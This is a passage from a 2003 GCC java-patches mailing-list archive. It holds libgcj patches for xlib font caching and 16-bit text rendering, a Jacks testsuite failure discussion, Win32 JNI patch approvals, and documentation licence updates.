gnu/awt/xlib/XGraphicsConfiguration.java (FontMetricsCache) : New inner class (CACHE_SIZE_PER_DISPLAY) : New field (fontMetricsCache) : New field (getXFontMetrics) : Use fontMetricsCache to cache fonts. Prefer loading ISO10646-1 fonts. ------=_NextPart_000_01FA_01C2CB9B.BF776EC0 Content-Type: application/octet-stream; name="20030203_FontCache.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030203_FontCache.patch" diff -r -up gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = 2003-02-03 15:44:06.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java 2003-02-03 = 15:43:01.000000000 -0500=0A= @@ -16,6 +16,7 @@ import java.awt.GraphicsDevice;=0A= import java.awt.Point;=0A= import java.awt.Color;=0A= import java.awt.color.ColorSpace;=0A= +import java.awt.Font;=0A= import java.awt.image.*;=0A= import java.awt.geom.AffineTransform;=0A= import gnu.gcj.xlib.GC;=0A= @@ -28,6 +29,7 @@ import gnu.gcj.xlib.XColor;=0A= import gnu.gcj.xlib.Screen;=0A= import gnu.gcj.xlib.Display;=0A= import gnu.java.awt.Buffers;=0A= +import java.util.Enumeration;=0A= import java.util.Hashtable;=0A= =0A= public class XGraphicsConfiguration extends GraphicsConfiguration=0A= @@ -39,6 +41,104 @@ public class XGraphicsConfiguration exte=0A= Colormap colormap;=0A= ColorModel imageCM;=0A= ColorModel pixelCM;=0A= + private static final int CACHE_SIZE_PER_DISPLAY =3D 10;=0A= + static FontMetricsCache fontMetricsCache =3D new FontMetricsCache ();=0A= + =0A= + /** Font metrics cache class. Caches at most CACHE_SIZE_PER_DISPLAY=0A= + * XFontMetrics objects for each display device. When a display's = cache=0A= + * gets full, the least-recently used entry is overwritten.=0A= + * XXX: lruOrder rolls over after a few billion operations, so it = might=0A= + * on very rare occasions misinterpret which is the oldest entry=0A= + */=0A= + class FontMetricsCache=0A= + {=0A= + private java.util.Hashtable displays =3D new java.util.Hashtable ();=0A= + =0A= + /** Font metrics cache for a display device=0A= + */=0A= + class PerDisplayCache=0A= + {=0A= + private int lruCount =3D 0;=0A= + private java.util.Hashtable entries =3D new java.util.Hashtable = ();=0A= + =0A= + class CacheEntry=0A= + {=0A= + int lruOrder;=0A= + XFontMetrics fm;=0A= + Font font;=0A= + }=0A= + =0A= + /** Get an entry (null if not there) and update LRU ordering=0A= + */=0A= + XFontMetrics get (Font font)=0A= + {=0A= + CacheEntry entry =3D (CacheEntry)entries.get (font);=0A= + if (entry !=3D null)=0A= + {=0A= + entry.lruOrder =3D lruCount++;=0A= + }=0A= + return (entry=3D=3Dnull) ? null : entry.fm;=0A= + }=0A= + =0A= + /** Put an entry in the cache, eliminating the oldest entry if=0A= + * the cache is at capacity.=0A= + */=0A= + void put (Font font, XFontMetrics fontMetrics)=0A= + {=0A= + if (entries.size () >=3D CACHE_SIZE_PER_DISPLAY)=0A= + {=0A= + // cache is full -- eliminate the oldest entry=0A= + // slow operation, but shouldn't happen very often=0A= + int maxAge =3D 0;=0A= + CacheEntry oldestEntry =3D null;=0A= + int referenceCount =3D lruCount;=0A= + for (Enumeration e =3D entries.elements (); e.hasMoreElements = ();)=0A= + {=0A= + CacheEntry entry =3D (CacheEntry)e.nextElement ();=0A= + if ((referenceCount-entry.lruOrder) > maxAge)=0A= + {=0A= + maxAge =3D referenceCount-entry.lruOrder;=0A= + oldestEntry =3D entry;=0A= + }=0A= + }=0A= + if (oldestEntry !=3D null)=0A= + entries.remove (oldestEntry.font);=0A= + }=0A= + CacheEntry newEntry =3D new CacheEntry ();=0A= + newEntry.lruOrder =3D lruCount++;=0A= + newEntry.fm =3D fontMetrics;=0A= + newEntry.font =3D font;=0A= + entries.put (font,newEntry);=0A= + }=0A= + }=0A= + =0A= + /** Get the font metrics for a font, if it is present in the cache.=0A= + * @param font The AWT font for which to find the font metrics=0A= + * @param display The display, to select the cached entries for = that display=0A= + * @return The font metrics, or null if not cached=0A= + */=0A= + XFontMetrics get (Font font, Display display)=0A= + {=0A= + PerDisplayCache cache =3D (PerDisplayCache)displays.get (display);=0A= + return (cache=3D=3Dnull) ? null : cache.get (font);=0A= + }=0A= + =0A= + /** Put a font in the cache=0A= + * @param font The font=0A= + * @param display The display=0A= + * @param fontMetrics The font metrics=0A= + */=0A= + void put (Font font, Display display, XFontMetrics fontMetrics)=0A= + {=0A= + PerDisplayCache cache =3D (PerDisplayCache)displays.get (display);=0A= + if (cache =3D=3D null)=0A= + {=0A= + cache =3D new PerDisplayCache ();=0A= + displays.put (display,cache);=0A= + }=0A= + cache.put (font,fontMetrics);=0A= + }=0A= + }=0A= =0A= public XGraphicsConfiguration(Visual visual)=0A= {=0A= @@ -358,33 +458,50 @@ public class XGraphicsConfiguration exte=0A= }=0A= =0A= /* FIXME: This should be moved to XGraphicsDevice... */=0A= - XFontMetrics getXFontMetrics(java.awt.Font awtFont)=0A= + XFontMetrics getXFontMetrics (java.awt.Font awtFont)=0A= {=0A= - // FIXME: do caching...=0A= - =0A= - String family =3D "*";=0A= - String name =3D awtFont.getName();=0A= - String weight =3D awtFont.isBold() ? "bold" : "medium";=0A= - String slant =3D awtFont.isItalic() ? "i" : "r";=0A= - String addStyle =3D "*";=0A= - String pixelSize =3D "*";=0A= - String pointSize =3D awtFont.getSize() + "0";=0A= - String xres =3D "*";=0A= - String yres =3D "*";=0A= - String spacing =3D "*";=0A= - String averageWidth =3D "*";=0A= - String charset =3D "*";=0A= - =0A= - String logicalFontDescription =3D=0A= - family + "-" + name + "-" + weight + "-" +=0A= - slant + "-" + addStyle + "-" + pixelSize + "-" +=0A= - pointSize + "-" + xres + "-" + yres + "-" +=0A= - spacing + "-" + averageWidth + "-" + charset;=0A= - =0A= - Display display =3D visual.getScreen().getDisplay();=0A= - gnu.gcj.xlib.Font xfont =3D=0A= - new gnu.gcj.xlib.Font(display, logicalFontDescription);=0A= - return new XFontMetrics(xfont, awtFont);=0A= + // If the metrics object for this font is already cached, use it.=0A= + // Otherwise create and cache it.=0A= + Display display =3D visual.getScreen ().getDisplay ();=0A= + XFontMetrics fm =3D fontMetricsCache.get (awtFont,display);=0A= + if (fm =3D=3D null)=0A= + {=0A= + String foundry =3D "*";=0A= + String family =3D awtFont.getName ();=0A= + String weight =3D awtFont.isBold () ? "bold" : "medium";=0A= + String slant =3D awtFont.isItalic () ? "i" : "r";=0A= + String sWidth =3D "*";=0A= + String addStyle =3D "";=0A= + String pixelSize =3D "*";=0A= + String pointSize =3D awtFont.getSize () + "0";=0A= + String xres =3D "*";=0A= + String yres =3D "*";=0A= + String spacing =3D "*";=0A= + String averageWidth =3D "*";=0A= + String charset =3D "iso10646-1"; // because we use functions = like XDrawString16=0A= + =0A= + String logicalFontDescription =3D=0A= + "-" + // FontNameRegistry prefix=0A= + foundry + "-" + family + "-" + weight + "-" +=0A= + slant + "-" + sWidth + "-" + addStyle + "-" +=0A= + pixelSize + "-" + pointSize + "-" + xres + "-" +=0A= + yres + "-" + spacing + "-" + averageWidth + "-";=0A= + =0A= + // Try to load a Unicode font. If that doesn't work, try again, = without=0A= + // specifying the character set.=0A= + try=0A= + {=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font (display, = logicalFontDescription + charset);=0A= + fm =3D new XFontMetrics (xfont, awtFont);=0A= + }=0A= + catch (NullPointerException e)=0A= + {=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font (display, = logicalFontDescription + "*-*");=0A= + fm =3D new XFontMetrics (xfont, awtFont);=0A= + }=0A= + fontMetricsCache.put (awtFont,display,fm);=0A= + }=0A= + return fm;=0A= }=0A= =0A= int getPixel(Color color)=0A= ------=_NextPart_000_01FA_01C2CB9B.BF776EC0-- From java-patches-return-6010-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 20:51:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28032 invoked by alias); 3 Feb 2003 20:51:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28024 invoked from network); 3 Feb 2003 20:51:43 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by 172.16.49.205 with SMTP; 3 Feb 2003 20:51:43 -0000 Received: (from weigand@localhost) by faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id VAA27809; Mon, 3 Feb 2003 21:51:41 +0100 (MET) From: Ulrich Weigand Message-Id: <200302032051.VAA27809@faui11.informatik.uni-erlangen.de> Subject: Re: [PATCH] Fix Jacks testsuite invocation To: tromey@redhat.com Date: Mon, 3 Feb 2003 21:51:41 +0100 (MET) Cc: weigand@immd1.informatik.uni-erlangen.de (Ulrich Weigand), java-patches@gcc.gnu.org In-Reply-To: <873cn5s32h.fsf@fleche.redhat.com> from "Tom Tromey" at Feb 03, 2003 10:10:14 AM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom Tromey wrote: > On my box I get zero fail and zero xpass from jacks. Could you take a > look at this? Details about the problems should be put into files in > the jacks tree in the build directory. The majority of the errors turned out to be another setup problem apparently, as they go away when . is added to the CLASSPATH. These are cases where gcj is invoked with two Java files on the command line, where the second references a package defined by the first. Without . in CLASSPATH, this fails with a package not found error. Interestingly, there is code in the main jacks.tcl that explicitly adds . to the CLASSPATH, but only for compile_and_run test cases. For compile-only cases, this is (apparently deliberately) not done. I'm not sure about the Java semantics here; is this supposed to work or not? Of the remaining failures, these FAIL: 5.1.3-dtl-1 FAIL: 5.1.3-dtl-2 FAIL: 5.1.3-ftl-1 FAIL: 5.1.3-ftl-2 XPASS: 3.10.2-round-6 appear to be related; they have to do with what happens in the case of floating point overflow. This is possibly a genuine platform-dependent bug; I'll see if I can find something here. The final two cases appear to be platform-independent: FAIL: 13.4.8-constant-runtime-1 FAIL: 14.19.2-runtime-try-1 ==== 13.4.8-constant-runtime-1 References to constant variables must be inlined FAILED ==== Contents of test case: compile [saveas T1348cr1a.java { class T1348cr1a { final int i = 1; final String s = "a"; static final int i1 = 2; static final String s1 = "b"; } }] [saveas T1348cr1b.java { class T1348cr1b { public static void doit() { T1348cr1a a = new T1348cr1a(); System.out.print(a.i + a.s + a.i1 + a.s1); } } }] compile [saveas T1348cr1a.java { class T1348cr1a { final int i = 3; final String s = "c"; static final int i1 = 4; static final String s1 = "d"; } }] compile_and_run [saveas T1348cr1c.java { class T1348cr1c { public static void main(String[] args) { try { Class c = Class.forName("T1348cr1b"); c.getMethod("doit", null).invoke(null, null); } catch (Exception e) { System.out.println(e); } } } }] ---- Result was: 3c2b ---- Result should have been: 1a2b ==== 13.4.8-constant-runtime-1 FAILED ==== 14.19.2-runtime-try-1 runtime try catch finally test with synchronize statement FAILED ==== Contents of test case: compile_and_run [saveas T14192rt1.java { class T14192rt1 { public static void main(String [] args) { Object o = new Object(); try { synchronized (o) { System.out.print("O"); return; } } finally { try { raise(); } catch (Exception e) { System.out.print("K"); } } } public static void raise() throws Exception { throw new Exception(); } } }] ---- Result was: Exception in thread "main" java.lang.VerifyError: verification failed at PC 36 in T14192rt1:main(([Ljava.lang.String;)V): incompatible type in local variable <> ---- Result should have been: OK ==== 14.19.2-runtime-try-1 FAILED These touch areas of Java semantics I'm not familiar with; any suggestions what the problem could be here? Bye, Ulrich -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-6011-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 20:54:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1177 invoked by alias); 3 Feb 2003 20:54:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1139 invoked from network); 3 Feb 2003 20:54:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 3 Feb 2003 20:54:11 -0000 Received: from fleche.redhat.com (tq0198.peakpeak.com [207.174.177.198]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA15514; Mon, 3 Feb 2003 13:54:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 546554F8080; Mon, 3 Feb 2003 13:42:22 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: JNI/Win32 Patch #1: Use "stdcall" Convention in the Interpreter to Invoke Native Methods References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am covered with pure vegetable oil and I am writing a best seller! Date: 03 Feb 2003 13:42:22 -0700 In-Reply-To: Message-ID: <87el6pp041.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> The following patch proposes to make the interpreter use the Ranjit> "stdcall" calling convention on Win32 while invoking native Ranjit> (JNI) methods. I'm checking this in on the trunk and the 3.3 branch. Thanks for being patient. Tom From java-patches-return-6012-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 21:13:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20472 invoked by alias); 3 Feb 2003 21:13:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20446 invoked from network); 3 Feb 2003 21:13:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 3 Feb 2003 21:13:39 -0000 Received: from fleche.redhat.com (tq0198.peakpeak.com [207.174.177.198]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA20535; Mon, 3 Feb 2003 14:13:37 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A3E7C4F8080; Mon, 3 Feb 2003 14:01:47 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: JNI/Win32 Patch #2: Fix lookup of "JNI_OnLoad" on loading a JNI DLL References: <87znrg2rrq.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: BRYLCREAM is CREAM O' WHEAT in another DIMENSION.. Date: 03 Feb 2003 14:01:47 -0700 In-Reply-To: Message-ID: <8765s1oz7o.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ranjit> 2002-12-09 Ranjit Mathew Ranjit> * java/lang/natRuntime.cc (java::lang::Runtime::_load)): Ranjit> Take care of the fact that on Win32, JNI_OnLoad is an Ranjit> "stdcall" function and could also have been exported Ranjit> as "JNI_OnLoad@8" (MinGW) or "_JNI_OnLoad@8" (MSVC). I'm checking this in on the trunk and the 3.3 branch. Thanks. Tom From java-patches-return-6013-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 03 22:09:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2147 invoked by alias); 3 Feb 2003 22:09:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2139 invoked from network); 3 Feb 2003 22:09:28 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 3 Feb 2003 22:09:28 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 7816E44AF2 for ; Mon, 3 Feb 2003 17:11:29 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Mon, 03 Feb 2003 17:06:42 -0500 Message-ID: <021701c2cbd0$932162b0$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Subject: PATCH: xlib support for 16-bit characters when rendering text Date: Mon, 3 Feb 2003 17:07:00 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0214_01C2CBA6.AA420BE0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_0214_01C2CBA6.AA420BE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit The following patch (taken against the 3.3 branch) causes the xlib peers to use 16-bit characters when rendering text. I have tried it with ISO10646-1 and 8-bit fonts, and it seems OK to me. Patch is attached. Index: libjava/ChangeLog from Scott Gilbertson * libjava/gnu/gcj/xlib/natFont.cc (getStringWidth) : support 16-bit characters * libjava/gnu/gcj/xlib/natGC.cc (drawString) : support 16-bit characters ------=_NextPart_000_0214_01C2CBA6.AA420BE0 Content-Type: application/octet-stream; name="20030203_16BitText.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030203_16BitText.patch" diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natFont.cc = gcc/libjava/gnu/gcj/xlib/natFont.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natFont.cc 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natFont.cc 2003-02-03 16:58:24.000000000 = -0500=0A= @@ -70,12 +70,18 @@ jint gnu::gcj::xlib::Font::getStringWidt=0A= XFontStruct* fontStruct =3D (XFontStruct*) structure;=0A= =0A= // FIXME: make proper unicode conversion=0A= - int len =3D JvGetStringUTFLength(text);=0A= - char ctxt[len+1];=0A= - JvGetStringUTFRegion(text, 0, text->length(), ctxt);=0A= - ctxt[len] =3D '\0';=0A= - int width =3D XTextWidth(fontStruct, ctxt, len);=0A= - return width;=0A= + // for now, treat everything as 16-bit=0A= + jint length =3D text->length();=0A= + jchar* txt =3D JvGetStringChars(text);=0A= + XChar2b xwchars[length];=0A= + for (int i=3D0; ibyte1 =3D (jc >> 8) & 0xff;=0A= + xc->byte2 =3D jc & 0xff;=0A= + }=0A= + return XTextWidth16(fontStruct, xwchars, length);=0A= }=0A= =0A= void gnu::gcj::xlib::Font::finalize()=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natGC.cc = gcc/libjava/gnu/gcj/xlib/natGC.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natGC.cc 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natGC.cc 2003-02-03 16:52:36.000000000 -0500=0A= @@ -95,34 +95,21 @@ void gnu::gcj::xlib::GC::drawString(jstr=0A= ::Drawable drawableXID =3D target->getXID();=0A= ::GC gc =3D (::GC) structure;=0A= =0A= - /*=0A= - FIXME: do something along the lines of the following instead:=0A= + jint length =3D text->length();=0A= + jchar* txt =3D JvGetStringChars(text);=0A= =0A= - jint length =3D text->length();=0A= - jchar* txt =3D JvGetStringChars(text);=0A= + XChar2b xwchars[length];=0A= =0A= - XChar2b xwchars[length];=0A= - =0A= - // FIXME: Add convertion and caching=0A= -=0A= - for (int i=3D0; ibyte1 =3D jc & 0xff;=0A= - xc->byte2 =3D jc >> 8;=0A= - }=0A= -=0A= - XDrawString16(dpy, drawableXID, gc, x, y, xwchars, length);=0A= - */=0A= - =0A= - // FIXME, temporary code:=0A= - int len =3D JvGetStringUTFLength(text);=0A= - char ctxt[len+1];=0A= - JvGetStringUTFRegion(text, 0, text->length(), ctxt);=0A= - ctxt[len] =3D '\0';=0A= - XDrawString(dpy, drawableXID, gc, x, y, ctxt, len);=0A= - // no fast fail=0A= + // FIXME: Add convertion and caching=0A= + // XXX: treat everything as 16-bit unicode=0A= + for (int i=3D0; ibyte1 =3D (jc >> 8) & 0xff;=0A= + xc->byte2 =3D jc & 0xff;=0A= + }=0A= + XDrawString16(dpy, drawableXID, gc, x, y, xwchars, length);=0A= }=0A= =0A= void gnu::gcj::xlib::GC::drawLine(jint x1, jint y1, jint x2, jint y2)=0A= ------=_NextPart_000_0214_01C2CBA6.AA420BE0-- From java-patches-return-6014-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 04 01:59:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26315 invoked by alias); 4 Feb 2003 01:59:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26299 invoked from network); 4 Feb 2003 01:59:46 -0000 Received: from unknown (HELO brown.csi.cam.ac.uk) (131.111.8.14) by 172.16.49.205 with SMTP; 4 Feb 2003 01:59:46 -0000 Received: from student.cusu.cam.ac.uk ([131.111.179.82] helo=kern.srcf.societies.cam.ac.uk ident=mail) by brown.csi.cam.ac.uk with esmtp (Exim 4.10) id 18fsNF-0004rM-00; Tue, 04 Feb 2003 01:59:45 +0000 Received: from jsm28 (helo=localhost) by kern.srcf.societies.cam.ac.uk with local-esmtp (Exim 3.35 #1 (Debian)) id 18fsNF-0004ce-00; Tue, 04 Feb 2003 01:59:45 +0000 Date: Tue, 4 Feb 2003 01:59:45 +0000 (GMT) From: "Joseph S. Myers" X-X-Sender: To: , Subject: Patch to move to GFDL 1.2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII This patch updates the GCC manuals from GFDL >= 1.1 to GFDL >= 1.2 (version update approved by RMS). This copy includes only the libstdc++ and fastjar changes; for the rest, see gcc-patches. Note that I haven't updated the libstdc++ onlinedocs that use the GFDL (with a plaintext COPYING.DOC file), only the Texinfo manuals. It passes "make info", "make dvi" and "make generated-manpages". Applied to mainline and 3.3 branch. fastjar: 2003-02-04 Joseph S. Myers * fastjar.texi: Update to GFDL 1.2. libstdc++-v3: 2003-02-04 Joseph S. Myers * docs/html/17_intro/porting.texi: Update to GFDL 1.2. * docs/html/17_intro/porting.html: Regenerate. diff -ruN GCC.orig/fastjar/fastjar.texi GCC/fastjar/fastjar.texi --- GCC.orig/fastjar/fastjar.texi 2002-12-23 20:52:10.000000000 +0000 +++ GCC/fastjar/fastjar.texi 2003-02-04 00:32:05.000000000 +0000 @@ -35,7 +35,7 @@ Copyright (C) @value{copyrights-fastjar} Free Software Foundation, Inc. Permission is granted to copy, distribute and/or modify this document -under the terms of the GNU Free Documentation License, Version 1.1 or +under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with the Invariant Sections being ``GNU General Public License'', the Front-Cover texts being (a) (see below), and with the Back-Cover Texts being (b) @@ -78,7 +78,7 @@ Boston, MA 02111-1307, USA@* @sp 1 Permission is granted to copy, distribute and/or modify this document -under the terms of the GNU Free Documentation License, Version 1.1 or +under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with the Invariant Sections being ``GNU General Public License'', the Front-Cover texts being (a) (see below), and with the Back-Cover Texts being (b) diff -ruN GCC.orig/libstdc++-v3/docs/html/17_intro/porting.texi GCC/libstdc++-v3/docs/html/17_intro/porting.texi --- GCC.orig/libstdc++-v3/docs/html/17_intro/porting.texi 2002-12-28 20:53:49.000000000 +0000 +++ GCC/libstdc++-v3/docs/html/17_intro/porting.texi 2003-02-04 00:32:25.000000000 +0000 @@ -12,7 +12,7 @@ Copyright @copyright{} 2000, 2001, 2002 Free Software Foundation, Inc. Permission is granted to copy, distribute and/or modify this document -under the terms of the GNU Free Documentation License, Version 1.1 or +under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with the Invariant Sections being ``GNU General Public License'', the Front-Cover texts being (a) (see below), and with the Back-Cover Texts being (b) -- Joseph S. Myers jsm28@cam.ac.uk From java-patches-return-6015-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 04 08:38:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13581 invoked by alias); 4 Feb 2003 08:38:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13574 invoked from network); 4 Feb 2003 08:38:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 4 Feb 2003 08:38:32 -0000 Received: from fleche.redhat.com (tq0100.peakpeak.com [207.174.177.100]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id BAA00998; Tue, 4 Feb 2003 01:38:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 554684F8099; Tue, 4 Feb 2003 01:26:47 -0700 (MST) To: Ulrich Weigand Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] Fix Jacks testsuite invocation References: <200302032051.VAA27809@faui11.informatik.uni-erlangen.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! It's a hole all the way to downtown Burbank! Date: 04 Feb 2003 01:26:46 -0700 In-Reply-To: <200302032051.VAA27809@faui11.informatik.uni-erlangen.de> Message-ID: <87u1fklad5.fsf@fleche.redhat.com> Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ulrich" == Ulrich Weigand writes: Ulrich> The majority of the errors turned out to be another setup problem Ulrich> apparently, as they go away when . is added to the CLASSPATH. I wonder why I don't see these. Ulrich> The final two cases appear to be platform-independent: Ulrich> FAIL: 13.4.8-constant-runtime-1 I'm a little surprised at this one. I haven't investigated yet. Ulrich> FAIL: 14.19.2-runtime-try-1 I looked at this. I don't know why it hasn't been failing here for me. Odd. In any case, this one is a compiler bug. We generate invalid bytecode for this method. These tests are definitely correct. If there are failures with them it is either gcj or our dejagnu code. Tom From java-patches-return-6016-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 04 21:04:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3209 invoked by alias); 4 Feb 2003 21:04:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3200 invoked from network); 4 Feb 2003 21:04:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 4 Feb 2003 21:04:38 -0000 Received: from fleche.redhat.com (tq0201.peakpeak.com [207.174.177.201]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA22528; Tue, 4 Feb 2003 14:04:36 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2CE104F8099; Tue, 4 Feb 2003 13:52:58 -0700 (MST) To: Java Patch List Subject: Patch: FYI: minor java.io spec fixes From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I just had my entire INTESTINAL TRACT coated with TEFLON! Date: 04 Feb 2003 13:52:57 -0700 Message-ID: <878ywvix92.fsf@fleche.redhat.com> Lines: 96 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. This changes a few methods in java.io to have the correct throws specification. Tom Index: ChangeLog from Tom Tromey * java/io/PipedOutputStream.java (flush): Declare as throwing IOException. (close): Likewise. * java/io/PipedWriter.java (close): Declare as throwing IOException. * java/io/StringWriter.java (close): Declare as throwing IOException. Index: java/io/PipedOutputStream.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/io/PipedOutputStream.java,v retrieving revision 1.7 diff -u -r1.7 PipedOutputStream.java --- java/io/PipedOutputStream.java 26 Dec 2002 01:21:25 -0000 1.7 +++ java/io/PipedOutputStream.java 4 Feb 2003 20:53:49 -0000 @@ -1,5 +1,5 @@ /* PipedOutputStream.java -- Write portion of piped streams. - Copyright (C) 1998, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -154,7 +154,7 @@ * had read all available data. Thats not the case - this method * appears to be a no-op? */ - public void flush() + public void flush() throws IOException { } @@ -165,7 +165,7 @@ * * @exception IOException If an error occurs */ - public void close() + public void close() throws IOException { // A close call on an unconnected PipedOutputStream has no effect. if (sink != null) Index: java/io/PipedWriter.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/io/PipedWriter.java,v retrieving revision 1.8 diff -u -r1.8 PipedWriter.java --- java/io/PipedWriter.java 24 Dec 2002 14:56:53 -0000 1.8 +++ java/io/PipedWriter.java 4 Feb 2003 20:53:49 -0000 @@ -1,5 +1,5 @@ /* PipedWriter.java -- Write portion of piped character streams. - Copyright (C) 1998, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ 